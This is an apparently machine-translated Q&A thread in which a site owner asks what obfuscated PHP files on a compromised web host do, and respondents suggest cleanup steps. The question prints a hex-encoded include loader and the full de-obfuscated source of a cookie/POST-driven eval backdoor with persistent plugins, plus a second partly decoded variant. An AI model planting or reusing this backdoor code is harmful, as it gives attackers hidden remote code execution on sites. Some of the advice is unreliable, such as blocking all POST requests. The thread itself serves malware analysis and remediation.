it-swarm-eu.dev

Il mio sito è stato infettato da offuscato PHP malware: cosa sta facendo + come faccio a sbarazzarmene?

Ho tre siti web tutti ospitati sullo stesso server web. Recentemente stavo lavorando su uno dei siti web e ho notato che, circa un mese fa, un gruppo di file era stato modificato. Nello specifico, tutte le istanze di index.html sono state rinominate in index.html.bak.bak e i file index.php sono stati messi al loro posto. I file index.php sono relativamente semplici; includono un file nascosto da qualche parte nel filesystem di ogni sito (apparentemente una cartella casuale) che è stato offuscato con la codifica esadecimale JS, quindi fa eco all'indice index.html originale:

<?php
/*2d4f2*/

@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";

/*2d4f2*/


echo file_get_contents('index.html.bak.bak');

Il file incluso qui era

/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico

Su un altro dominio, lo era

/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico

Come probabilmente potresti intuire, queste non sono in realtà favicon: sono solo file php con un'estensione diversa. Ora, non ho idea di cosa facciano questi file (ecco perché sto chiedendo qui). Sono stati completamente offuscati, ma https://malwaredecoder.com/ sembra essere in grado di attraversarlo. I risultati possono essere trovati qui, ma ho incollato il codice de-offuscato di seguito:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109';
    global $cs_auth;


    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_get_plugin_config()
    {
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
        }
        else
        {
            $plugins = Array();
        }

        return $plugins;
    }

    function cs_set_plugin_config($plugins)
    {
        $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        }
        else
        {
            $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
        }

        @file_put_contents(cs_get_current_filepath(), $self_content);
    }

    function cs_plugin_add($name, $base64_data)
    {
        $plugins = cs_get_plugin_config();

        $plugins[$name] = base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_rem($name)
    {
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_load($name=NULL)
    {
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];

    }

    cs_plugin_load();
}

Inoltre, esiste un file chiamato init5.php in una delle cartelle di contenuti del sito Web, che dopo aver deoffuscato il più possibile, diventa:

$GLOBALS['893\Gt3$3'] = $_POST;
$GLOBALS['S9]<\<\$'] = $_COOKIE;
@>P>r"$,('$66N6rTNj', NULL);
@>P>r"$,('TNjr$66N6"', 0);
@>P>r"$,('k3'r$'$9#,>NPr,>k$', 0);
@"$,r,>k$rT>k>,(0);
$w6f96424 = NULL;
$s02c4f38 = NULL;
global $y10a790;
function a31f0($w6f96424, $afb8d)
{
    $p98c0e = "";

    for ($r035e7=0; $r035e7<",6T$P($w6f96424);)
    {
        for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++)
        {
            $p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545]));
        }
    }

    return $p98c0e;
}

function la30956($w6f96424, $afb8d)
{
    global $y10a790;

    return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d);
}

foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d)
{
    $w6f96424 = $ua56c9d;
    $s02c4f38 = $afb8d;
}

if (!$w6f96424)
{
    foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d)
    {
        $w6f96424 = $ua56c9d;
        $s02c4f38 = $afb8d;
    }
}

$w6f96424 = @#P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38));
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38'])
{
    if ($w6f96424['3'] == '>')
    {
        $r035e7 = Array(
            '@=' => @@)@=$6">NP(),
            '"=' => 'x%<Fx',
        );
        echo @"$6>3T>a$($r035e7);
    }
    elseif ($w6f96424['3'] == '$')
    {
        eval($w6f96424['`']);
    }

}

Ci sono file PHP più offuscati più guardo, il che è piuttosto spaventoso. C'è tons di loro. Anche i file index.php di Wordpress sembrano essere stati infettati; gli @includes offuscati sono stati aggiunti a loro. Inoltre, su uno dei siti web, c'è un file intitolato 'ssh' che sembra essere una specie di file binario (forse il programma 'ssh' stesso?)

Qualcuno sa cosa sono o cosa fanno? Come sono arrivati ​​sul mio server? Come posso liberarmi di loro e assicurarmi che non tornino mai?

Altre informazioni: il mio webhost è Laughing Squid; Non ho accesso alla shell. Il server esegue Linux, Apache 2.4 e PHP 5.6.29. Grazie!

8
Wilson Biggs

Non puoi fidarti di nulla sul server a questo punto.

  • Reinstallare il sistema operativo

  • Reinstallare note buone del codice con una versione pulita o nota del database.

A questo punto non c'è alcuna utilità nel giro sostituzione/eliminazione di file "cattive" perché l'attaccante avrebbe potuto fare assolutamente qualcosa che va da "niente" nel sostituire il software a livello di sistema con le versioni hacked che farà qualsiasi cosa desiderata. Solo per fare un esempio, a un certo punto qualcuno ha scritto il malware in un compilatore quindi, anche se l'eseguibile è stato ricostruito, il maware era ancora lì, anche impedito il debugger di rilevare esso.

Esistono vari pulitori disponibili, ma si basano sulla conoscenza/rilevazione/annullamento di tutto ciò che l'autore dell'attacco potrebbe ha fatto, il che è impossibile.

Se avete avuto buoni backup giornalieri, si potrebbe fare una diff tra "quello che hai" e "ciò che si aveva prima" e vedere cosa è cambiato, ma si sarebbe ancora bisogno di esaminare o ripristinare il database dal momento che molti attacchi riguardano la modifica dei dati con attenzione non codice.

2
Terry Carmen

Ho avuto lo stesso malware. Ci sono da 10 a 15 file che il malware aggiunge o modifica. Ho usato il plug-in Quttera WordPress (gratuito) per trovare i file. La maggior parte dei file può essere cancellata (fai attenzione, gli ID di Quttera sono più che infetti) ma alcuni file di WordPress sono stati modificati e devono essere sostituiti. 

1
Zach

Ho avuto lo stesso problema . È causato da richieste HTTP post post . Ecco un buon articolo su come fermarlo: 

Quanto segue in un file .htaccess interromperà tutte le richieste post . https://perishablepress.com/protect-post-requests/

# deny all POST requests
<IfModule mod_rewrite.c>
        RewriteCond %{REQUEST_METHOD} POST
        RewriteRule .* - [F,L]
</IfModule>
0
summars

Ho dovuto scrivere uno script PHP per eseguire la scansione dell'intero albero del server, elencando tutti i percorsi di directory e uno per analizzare quei percorsi per le infezioni. Può solo parzialmente pulire, ma fornisce molto aiuto necessario con la pulizia pedonale.

NOTA:
È scritto male e probabilmente dovrebbe essere rimosso dopo l'uso. Ma mi ha aiutato.

Una copia compressa è qui .
Nessuna garanzia; decomprimilo e dai un'occhiata a cosa hai messo sul tuo server, prima di caricarlo!

Aggiornamento: ora pulisce di più (non tutto!). Follow-up con la pulizia delle mani (vedi sotto).

0
user2528858

Questo non è un trucco di cui hai bisogno per cestinare i tuoi siti e server. È solo un php hack. Sbarazzati di tutti i file e codici maligni di php e sarai bravo. Ecco come l'ho fatto su drupal. http://rankinstudio.com/Drupal_ico_index_hack

0
Rankinstudio